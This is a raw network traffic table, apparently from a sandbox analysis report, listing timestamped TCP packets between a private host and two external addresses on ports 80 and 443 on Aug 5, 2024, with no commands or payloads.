Aug 5, 2024 12:01:27.079833984 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.079866886 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.126419067 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.347577095 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.347600937 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.347620964 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.347662926 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.347676992 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.347702980 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.347722054 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.347846985 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.347891092 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.347908974 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.347924948 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.347968102 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.348054886 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.348071098 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.348113060 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.348678112 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.348738909 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.348756075 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.348783016 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.348824978 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.348870993 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.434283018 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.485800028 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.546758890 CEST	49895	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:27.546785116 CEST	443	49895	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:27.546865940 CEST	49895	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:27.547038078 CEST	49896	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:27.547048092 CEST	443	49896	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:27.547101974 CEST	49896	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:27.547240973 CEST	49897	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:27.547280073 CEST	443	49897	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:27.547336102 CEST	49897	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:27.547677040 CEST	49895	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:27.547692060 CEST	443	49895	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:27.547868013 CEST	49897	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:27.547883987 CEST	443	49897	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:27.553261995 CEST	49898	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:27.553270102 CEST	443	49898	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:27.553329945 CEST	49898	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:27.555588961 CEST	49899	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:27.555597067 CEST	443	49899	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:27.555666924 CEST	49899	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:27.555927038 CEST	49899	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:27.555938959 CEST	443	49899	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:27.556193113 CEST	49896	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:27.556201935 CEST	443	49896	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:27.556760073 CEST	49898	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:27.556771040 CEST	443	49898	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:27.651452065 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.651493073 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.651520014 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.651536942 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.651628971 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.651848078 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.651864052 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.651879072 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.651933908 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.652033091 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.652049065 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.652087927 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.652412891 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.652466059 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.652607918 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.652622938 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.652672052 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.652765989 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.652781010 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.652795076 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.652828932 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.653286934 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.653337002 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.653465033 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.653480053 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.653495073 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.653529882 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.996836901 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.996855974 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.996978045 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.997071981 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.997117996 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.997133017 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.997168064 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.997255087 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.997270107 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.997303009 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.997373104 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.997387886 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.997417927 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.997694969 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.997745037 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.997759104 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.997773886 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.997819901 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.998012066 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.998028040 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.998050928 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.998069048 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.998073101 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.998111963 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.998579979 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.998635054 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.998650074 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.998682022 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:27.998722076 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:27.998771906 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.212539911 CEST	443	49899	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.212661028 CEST	49899	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.219017029 CEST	443	49895	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.219115973 CEST	49895	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.223243952 CEST	443	49896	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.223330021 CEST	49896	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.224793911 CEST	443	49897	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.224877119 CEST	49897	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.231417894 CEST	443	49898	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.231513977 CEST	49898	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.268362999 CEST	49899	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.268378019 CEST	443	49899	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.268821955 CEST	443	49899	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.313920975 CEST	49899	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.414526939 CEST	49895	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.414549112 CEST	443	49895	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.415014982 CEST	443	49895	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.416750908 CEST	49896	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.416759968 CEST	443	49896	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.417709112 CEST	443	49896	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.420021057 CEST	49897	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.420052052 CEST	443	49897	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.420500994 CEST	443	49897	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.432205915 CEST	49898	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.432219982 CEST	443	49898	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.432599068 CEST	443	49898	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.461591959 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.461699963 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.461726904 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.461755037 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.461844921 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.461860895 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.461877108 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.461889982 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.461894035 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.461922884 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.462121010 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.462136984 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.462151051 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.462163925 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.462167025 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.462187052 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.462198973 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.462202072 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.462218046 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.462234020 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.462234020 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.462256908 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.462574005 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.462589025 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.462604046 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.462620020 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.462621927 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.462641001 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.462781906 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.462804079 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.462826014 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.462847948 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.470172882 CEST	49895	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.470174074 CEST	49896	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.471740961 CEST	49897	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.485801935 CEST	49898	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.557861090 CEST	49895	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.569055080 CEST	49898	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.586246967 CEST	49897	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.600528955 CEST	443	49895	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.603787899 CEST	49896	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.611593008 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.611622095 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.611638069 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.611680031 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.611799002 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.611814976 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.611829042 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.611845016 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.611846924 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.611869097 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.612050056 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.612092018 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.612128973 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.612143993 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.612183094 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.612231016 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.612246037 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.612279892 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.612540007 CEST	443	49898	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.612730980 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.612746000 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.612765074 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.612783909 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.612890959 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.612905979 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.612921953 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.612929106 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.612948895 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.612961054 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.613514900 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.613554955 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.613571882 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.613588095 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.613624096 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.628506899 CEST	443	49897	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.637948036 CEST	49899	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.644537926 CEST	443	49896	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.657216072 CEST	443	49895	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.657241106 CEST	443	49895	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.657285929 CEST	49895	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.657299042 CEST	443	49895	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.657371044 CEST	443	49895	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.657422066 CEST	49895	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.667970896 CEST	49895	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.667984009 CEST	443	49895	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.667995930 CEST	49895	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.668001890 CEST	443	49895	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.670121908 CEST	443	49898	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.670181036 CEST	443	49898	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.670228004 CEST	49898	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.684504032 CEST	443	49899	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.687808990 CEST	443	49897	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.687988043 CEST	443	49897	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.688044071 CEST	49897	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.706244946 CEST	443	49896	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.706425905 CEST	443	49896	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.706481934 CEST	49896	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.738466978 CEST	443	49899	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.738610029 CEST	443	49899	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.738662004 CEST	49899	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.761655092 CEST	49898	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.761677980 CEST	443	49898	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.761693001 CEST	49898	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.761699915 CEST	443	49898	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.779930115 CEST	49897	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.779936075 CEST	443	49897	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.779951096 CEST	49897	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.779954910 CEST	443	49897	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.785691977 CEST	49896	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.785700083 CEST	443	49896	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.785711050 CEST	49896	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.785715103 CEST	443	49896	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.787256956 CEST	49899	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:28.787261963 CEST	443	49899	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:28.930584908 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.930619001 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.930635929 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.930661917 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.930766106 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.930780888 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.930794954 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.930814028 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.930820942 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.930829048 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.930901051 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.930938959 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.930958986 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.930974960 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.931009054 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.931098938 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.931114912 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.931129932 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.931147099 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.931154013 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.931185007 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.931232929 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.931262016 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.931301117 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.931853056 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.931905031 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.931921005 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.931946039 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.932048082 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.932063103 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.932079077 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.932087898 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.932096004 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.932117939 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:28.932203054 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:28.932241917 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.016652107 CEST	49900	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.016704082 CEST	443	49900	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.016778946 CEST	49900	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.020869970 CEST	49901	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.020895958 CEST	443	49901	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.020955086 CEST	49901	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.023354053 CEST	49902	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.023363113 CEST	443	49902	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.023418903 CEST	49902	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.026935101 CEST	49900	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.026966095 CEST	443	49900	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.027199030 CEST	49901	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.027211905 CEST	443	49901	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.027540922 CEST	49902	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.027550936 CEST	443	49902	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.029230118 CEST	49903	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.029257059 CEST	443	49903	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.029323101 CEST	49903	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.029462099 CEST	49903	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.029484987 CEST	443	49903	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.031006098 CEST	49904	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.031023979 CEST	443	49904	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.031080961 CEST	49904	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.031348944 CEST	49904	443	192.168.2.7	13.107.246.60
Aug 5, 2024 12:01:29.031353951 CEST	443	49904	13.107.246.60	192.168.2.7
Aug 5, 2024 12:01:29.275976896 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.276041031 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.276057959 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.276103973 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.276190996 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.276206970 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.276221991 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.276237965 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.276247978 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.276256084 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.276267052 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.276307106 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.276582003 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.276597023 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.276612043 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.276627064 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.276633024 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.276649952 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.276663065 CEST	49894	80	192.168.2.7	27.221.16.149
Aug 5, 2024 12:01:29.276824951 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.276840925 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.276854992 CEST	80	49894	27.221.16.149	192.168.2.7
Aug 5, 2024 12:01:29.276870012 CEST	49894	80	192.168.2.7	27.221.16.149
